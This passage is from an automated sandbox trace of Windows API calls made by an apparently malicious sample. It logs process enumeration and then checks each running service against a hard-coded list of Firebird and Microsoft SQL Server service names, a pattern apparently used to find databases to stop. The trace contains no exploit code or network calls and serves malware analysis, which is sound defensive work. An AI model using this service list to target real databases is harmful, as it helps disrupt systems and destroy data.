th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0077.701] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0077.701] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0077.702] lstrlenW (lpString="romandisclosure.exe") returned 19 [0077.702] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations brave.exe")) returned 1 [0077.703] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0077.704] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0077.705] lstrlenW (lpString="dllhost.exe") returned 11 [0077.705] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0077.706] lstrlenW (lpString="product.exe") returned 11 [0077.706] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0077.708] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0077.708] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0077.709] lstrlenW (lpString="basin.exe") returned 9 [0077.709] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0077.710] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0077.711] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0077.712] lstrlenW (lpString="tested housewives.exe") returned 21 [0077.712] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0077.713] lstrlenW (lpString="conhost.exe") returned 11 [0077.713] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0077.715] lstrlenW (lpString="conhost.exe") returned 11 [0077.715] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.062] lstrlenW (lpString="svchost.exe") returned 11 [0078.062] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0078.064] lstrlenW (lpString="wmxsde.exe") returned 10 [0078.064] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0078.065] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0078.065] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0078.066] lstrlenW (lpString="conhost.exe") returned 11 [0078.067] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x474, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0078.068] lstrlenW (lpString="cmd.exe") returned 7 [0078.068] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0078.069] lstrlenW (lpString="conhost.exe") returned 11 [0078.070] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0078.071] lstrlenW (lpString="svchost.exe") returned 11 [0078.071] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0078.072] lstrlenW (lpString="mode.com") returned 8 [0078.072] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0078.073] lstrlenW (lpString="LogonUI.exe") returned 11 [0078.073] Process32NextW (in: hSnapshot=0x388, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0078.074] CloseHandle (hObject=0x388) returned 1 [0078.074] Sleep (dwMilliseconds=0x1f4) [0078.971] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ded68 [0078.972] EnumServicesStatusExW (in: hSCManager=0x6ded68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0078.973] GetLastError () returned 0xea [0078.973] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1d5a) returned 0x3ce6290 [0078.973] EnumServicesStatusExW (in: hSCManager=0x6ded68, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3ce6290, cbBufSize=0x1d5a, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3ce6290, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0078.974] CloseServiceHandle (hSCObject=0x6ded68) returned 1 [0078.975] lstrlenW (lpString="Appinfo") returned 7 [0078.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0078.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0078.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0078.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0078.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0078.975] lstrlenW (lpString="AppXSvc") returned 7 [0078.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0078.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0078.975] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0078.975] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0078.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0078.975] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0078.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0078.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0078.975] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0078.975] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0078.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0078.975] lstrlenW (lpString="Audiosrv") returned 8 [0078.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0078.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0078.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0078.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0078.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0078.976] lstrlenW (lpString="BFE") returned 3 [0078.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0078.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0078.976] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0078.976] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0078.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0078.976] lstrlenW (lpString="BITS") returned 4 [0078.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0078.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0078.976] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0078.976] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0078.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0078.976] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0078.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0078.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0078.976] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0078.976] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0078.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0078.976] lstrlenW (lpString="CDPSvc") returned 6 [0078.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0078.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0078.976] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0078.976] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0078.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0078.976] lstrlenW (lpString="ClickToRunSvc") returned 13 [0078.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0078.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0078.977] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0078.977] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0078.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0078.977] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0078.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0078.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0078.977] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0078.977] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0078.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0078.977] lstrlenW (lpString="CryptSvc") returned 8 [0078.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0078.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0078.977] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0078.977] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0078.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0078.977] lstrlenW (lpString="DcomLaunch") returned 10 [0078.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0078.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0078.977] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0078.977] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0078.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0078.977] lstrlenW (lpString="DeviceAssociationService") returned 24 [0078.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0078.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0078.978] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0078.978] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0078.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0078.978] lstrlenW (lpString="Dhcp") returned 4 [0078.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0078.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0078.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0078.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0078.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0078.978] lstrlenW (lpString="Dnscache") returned 8 [0078.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0078.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0078.978] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0078.978] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0078.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0078.978] lstrlenW (lpString="DoSvc") returned 5 [0078.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0078.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0078.978] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0078.978] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0078.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0078.978] lstrlenW (lpString="DPS") returned 3 [0078.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0078.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0078.978] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0078.979] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0078.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0078.979] lstrlenW (lpString="DusmSvc") returned 7 [0078.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0078.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0078.979] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0078.979] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0078.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0078.979] lstrlenW (lpString="EventLog") returned 8 [0078.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0078.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0078.979] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0078.979] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0078.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0078.979] lstrlenW (lpString="EventSystem") returned 11 [0078.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0078.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0078.979] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0078.979] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0078.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0078.979] lstrlenW (lpString="FontCache") returned 9 [0078.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0078.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0078.979] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0078.979] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0078.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0078.980] lstrlenW (lpString="gpsvc") returned 5 [0078.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0078.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0078.980] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0078.980] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0078.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0078.980] lstrlenW (lpString="iphlpsvc") returned 8 [0078.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0078.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0078.980] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0078.980] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0078.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0078.980] lstrlenW (lpString="KeyIso") returned 6 [0078.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0078.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0078.980] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0078.980] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0078.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0078.980] lstrlenW (lpString="LanmanServer") returned 12 [0078.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0078.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0078.980] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0078.980] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0078.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0078.980] lstrlenW (lpString="LanmanWorkstation") returned 17 [0078.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0078.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0078.981] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0078.981] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0078.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0078.981] lstrlenW (lpString="lfsvc") returned 5 [0078.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0078.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0078.981] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0078.981] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0078.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0078.981] lstrlenW (lpString="lmhosts") returned 7 [0078.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0078.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0078.981] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0078.981] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0078.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0078.981] lstrlenW (lpString="LSM") returned 3 [0078.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0078.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0079.341] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0079.341] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0079.341] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0079.341] lstrlenW (lpString="MapsBroker") returned 10 [0079.341] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0079.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0079.342] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0079.342] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0079.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0079.342] lstrlenW (lpString="MpsSvc") returned 6 [0079.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0079.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0079.342] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0079.342] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0079.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0079.342] lstrlenW (lpString="NcbService") returned 10 [0079.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0079.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0079.342] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0079.342] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0079.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0079.342] lstrlenW (lpString="netprofm") returned 8 [0079.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0079.342] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0079.342] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0079.342] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0079.342] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0079.342] lstrlenW (lpString="NlaSvc") returned 6 [0079.342] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0079.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0079.343] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0079.343] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0079.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0079.343] lstrlenW (lpString="nsi") returned 3 [0079.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0079.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0079.343] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0079.343] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0079.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0079.343] lstrlenW (lpString="PcaSvc") returned 6 [0079.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0079.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0079.343] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0079.343] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0079.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0079.343] lstrlenW (lpString="PlugPlay") returned 8 [0079.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0079.343] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0079.343] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0079.343] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0079.343] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0079.343] lstrlenW (lpString="Power") returned 5 [0079.343] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned 